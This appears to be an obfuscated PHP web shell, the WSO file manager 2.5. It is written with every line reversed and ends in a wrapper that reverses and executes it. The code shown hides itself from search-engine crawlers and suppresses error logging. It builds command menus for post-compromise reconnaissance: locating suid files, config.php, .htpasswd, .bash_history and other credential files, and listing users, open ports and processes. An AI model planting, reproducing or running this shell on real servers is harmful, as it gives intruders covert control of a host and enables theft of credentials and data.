} xp003 :htdiw {pnIsloot.
} ;retnec:ngila-txet {lbTsloot#
} ;xp0:nigram {mrof
} ;'weN reiruoC',ecapsonoM tp9 :tnof ;roloc$ dilos xp1:redrob;555#:roloc-dnuorgkcab;fff#:roloc;0:nigram {tceles,aeratxet,tupni
} ;xp003:thgieh;%001:htdiw {aeragib.
} ;otua :wolfrevo;0:nigram;xp5:gniddap;444# dilos xp1:redrob {1lm.
} ;enilrednu:noitaroced-txet {revoh:a
} ;enon:noitaroced-txet {a
} ;333#:roloc-dnuorgkcab;xp5:tfel-nigram;xp5 :gniddap {tnetnoc.vid
} ;xp0:nigram;222#:roloc-dnuorgkcab;anadreV tp41 :tnof;xp5 xp2 :gniddap;roloc$ dilos xp5:tfel-redrob {1h
} ;redlob :thgiew-tnof {naps
} ;tnatropmi! roloc$ :roloc {a,1h,naps
} ;222#:roloc-dnuorgkcab;fff#:roloc {ofni.elbat
} ;1e1e1e#:roloc;pot:ngila-lacitrev;0:nigram;anadreV,adicuL tp9 :tnof {ht,dt,ydob
};1e1e1e#:roloc;444#:roloc-dnuorgkcab{ydob
>elyts<
>eltit/<". ]'TSOH_PTTH'[REVRES_$ . ">eltit<>'" . ]'tesrahc'[TSOP_$ . "=tesrahc ;lmth/txet'=tnetnoc 'epyT-tnetnoC'=viuqe-ptth atem<>daeh<>lmth<" ohce	
;roloc$ labolg	
;]'tesrahc_tluafed'[SLABOLG$ = ]'tesrahc'[TSOP_$		
))]'tesrahc'[TSOP_$(ytpme(fi	
{ )(redaeHosw noitcnuf

;)	
"virp etacol" >= "selif virp etacol"		
,"pmud etacol" >= "selif pmud etacol"		
,"pukcab etacol" >= "selif pukcab etacol"		
,"'crliamhctef.' etacol" >= "selif crliamhctef. etacol"		
,"'yrotsih_lqsym.' etacol" >= "selif yrotsih_lqsym. etacol"		
,"'yrotsih_hsab.' etacol" >= "selif yrotsih_hsab. etacol"		
,"'dwssapth.' etacol" >= "selif dwssapth. etacol"		
,"'lqs.' etacol" >= "selif lqs. etacol"		
,"'dwp.' etacol" >= "selif dwp. etacol"		
,"'fnoc.' etacol">="selif fnoc. etacol"		
,"gifnoc etacol" >= " selif *gifnoc etacol"		
,"php.tluafed.gifnoc etacol" >= "selif php.tluafed.gifnoc etacol"		
,"php.cni.gifnoc etacol" >= "php.cni.gifnoc etacol"		
,"cni.gifnoc etacol" >= "selif cni.gifnoc etacol"		
,"php.gifnoc etacol" >= "selif php.gifnoc etacol"		
,"tad.gifnoc etacol" >= "selif tad.gifnoc etacol"		
,"php.fnoc etacol" >= "selif php.fnoc etacol"		
,"php.gfc etacol" >= "selif php.gfc etacol"		
,"php.nimda etacol">= "selif php.nimda etacol"		
,"fnoc.ym etacol" >= "selif fnoc.ym etacol"		
,"fnoc.cnbysp etacol" >= "selif fnoc.cnbysp etacol"		
,"fnoc.dptforp etacol" >= "selif fnoc.dptforp etacol"		
,"fnoc.stsohv etacol" >= "selif fnoc.stsohv etacol"		
,"fnoc.dptth etacol" >= "selif fnoc.dptth etacol"		  
,"" >= "etacoL"		
,"crliamhctef. eman- f epyt- . dnif" >= "rid tnerruc ni selif crliamhctef. dnif"		  
,"crliamhctef. eman- f epyt- / dnif" >= "selif crliamhctef. lla dnif"		  
,"yrotsih_hsab. eman- f epyt- . dnif" >= "rid tnerruc ni selif yrotsih_hsab. dnif"		  
,"yrotsih_hsab. eman- f epyt- / dnif" >= "selif yrotsih_hsab. lla dnif"		  
,"dwssapth. eman- f epyt- . dnif" >= "rid tnerruc ni selif dwssapth. dnif"		  
,"dwssapth. eman- f epyt- / dnif" >= "selif dwssapth. lla dnif"		  
,"dwp.ecivres eman- f epyt- . dnif" >= "rid tnerruc ni selif dwp.ecivres dnif"		  
,"dwp.ecivres eman- f epyt- / dnif" >= "selif dwp.ecivres lla dnif"		  
,"sl- 2- mrep- . dnif" >= "rid tnerruc ni selif dna sredlof elbatirw lla dnif"		  
,"sl- 2- mrep- / dnif" >= "selif dna sredlof elbatirw lla dnif"		  
,""\*gifnoc"\ eman- f epyt- . dnif" >= "rid tnerruc ni selif *gifnoc dnif"		  
,""\*gifnoc"\ eman- f epyt- / dnif" >= "selif *gifnoc dnif"		  
,"php.cni.gifnoc eman- f epyt- / dnif" >= "selif php.cni.gifnoc dnif"		  
,"sl- 00020- mrep- f epyt- . dnif" >= "rid tnerruc ni selif digs dnif"		  
,"sl- 00020- mrep- f epyt- / dnif" >= "selif digs lla dnif"		  
,"sl- 00040- mrep- f epyt- . dnif" >= "rid tnerruc ni selif dius dnif"		  
,"sl- 00040- mrep- f epyt- / dnif" >= "selif dius lla dnif"		  
,"" >= "dniF"		
,"xua sp" >= "sutats ssecorp"        
,"netsil i- perg | na- tatsten" >= "strop denepo wohs"		  
,"av- rttasl" >= "metsys elif dednetxe dnoces xuniL a no setubirtta elif tsil"		
,"ahl- sl" >= "rid tsiL"		  
(yarra = sesaila$	
esle
;)	
"lla/ gifnocpi" >= "noitarugifnoC PI"		
,"a- pra" >= "elbaT PRA"		
,"weiv ten" >= "sretupmoc wohS"	    
,"resu ten" >= "stnuocca resU"	    
,"trats ten" >= "secivres gninnur wohS"	    
,"na- tatsten" >= "snoitcennoc evitca wohS"	    
,"php.*gifnoc* b/ w/ s/ rid" >= "rid tnerruc ni php.*gifnoc* dniF"	    
,"php.xedni b/ w/ s/ rid" >= "rid tnerruc ni php.xedni dniF"	    
,"rid" >= "yrotceriD tsiL"		
(yarra = sesaila$	
)'niw' == so$(fi

;xaja_esu_tluafed$)loob( = ]'xaja' . )]'TSOH_PTTH'[REVRES_$(5dm[EIKOOC_$    
))]'xaja' . )]'TSOH_PTTH'[REVRES_$(5dm[EIKOOC_$(tessi!(fi

;'/' =. dwc$	
)'/' =! ]1-)dwc$(nelrts[dwc$(fi
}
;)dwc$ ,"/" ,"\\"(ecalper_rts = dwc$	
;)dwc_emoh$ ,"/" ,"\\"(ecalper_rts = dwc_emoh$	
{ )'niw' == so$(fi
;)(dwcteg@ = dwc$
;)]'c'[TSOP_$(ridhc@	
))]'c'[TSOP_$(tessi(fi
;)(dwcteg@ = dwc_emoh$
;)'snoitcnuf_elbasid'(teg_ini@ = snoitcnuf_elbasid$

;)0(gnitroper_rorre    
)edom_efas$!(fi
;)'edom_efas'(teg_ini@ = edom_efas$


;'xin' = so$	
esle
;'niw' = so$	
)"niw" == ))3,0,SO_PHP(rtsbus(rewolotrts(fi

}
;)v$ ,k$(eikooctes    
;v$ = ]k$[EIKOOC_$    
{ )v$ ,k$(eikooctesOSW noitcnuf

}
}	
;)EIKOOC_$(sehsalspirtsOSW = EIKOOC_$		
;)TSOP_$(sehsalspirtsOSW = TSOP_$		
}		
;)yarra$(sehsalspirts : )yarra$ ,'sehsalspirtsOSW'(pam_yarra ? )yarra$(yarra_si nruter			
{ )yarra$(sehsalspirtsOSW noitcnuf		
{ ))(cpg_setouq_cigam_teg(fi	
{))"cpg_setouq_cigam_teg"(stsixe_noitcnuf(fi

;)'5.2' ,'NOISREV_OSW'(enifed@
;)0(emitnur_setouq_cigam_tes@	
)00007 < DI_NOISREV_PHP( fi
;)0(timil_emit_tes@
;)0,'emit_noitucexe_xam'(tes_ini@
;)0,'srorre_gol'(tes_ini@
;)LLUN,'gol_rorre'(tes_ini@

}
}    
;tixe        
;)'dnuoF toN 404 0.1/PTTH'(redaeh        
{ ))]'TNEGA_RESU_PTTH'[REVRES_$ ,'i/' . )stnegAresu$ ,'|'(edolpmi . '/'(hctam_gerp(fi    
;)"relbmaR" ,"xednaY" ,"revihcra_ai" ,"toBNSM" ,"prulS" ,"elgooG"(yarra = stnegAresu$    
{ ))]'TNEGA_RESU_PTTH'[REVRES_$(ytpme!(fi

;'1521-swodniW' = tesrahc_tluafed$
;eurt = xaja_esu_tluafed$
;'naMseliF' = noitca_tluafed$
;"5fd#" = roloc$

}
}	
;)gnidocne_ot$ , SETOUQ_TNE ,)gnidocne_morf$ ,SETOUQ_TNE ,gnirts$(seititnelmth(edoced_ytitne_lmth nruter		
{)gnirts$ ,gnidocne_ot$ ,gnidocne_morf$(vnoci noitcnuf	
{ ))'vnoci'(stsixe_noitcnuf!( fi
}
}	
;)gnidocne_morf$ ,gnidocne_ot$ ,gnirts$(gnidocne_trevnoc_bm nruter		
{)gnirts$ ,gnidocne_ot$ ,gnidocne_morf$(vnoci noitcnuf	
{ ))'gnidocne_trevnoc_bm'(stsixe_noitcnuf && )'vnoci'(stsixe_noitcnuf!( fi
}
}    
;)gnirts$ ,gnidocne_tuptuo$ ,gnidocne_tupni$(vnocibil nruter        
{ )gnirts$ ,gnidocne_tuptuo$ ,gnidocne_tupni$(vnoci noitcnuf    
{ ))'vnocibil'(stsixe_noitcnuf && )'vnoci'(stsixe_noitcnuf!( fi

'))); ?>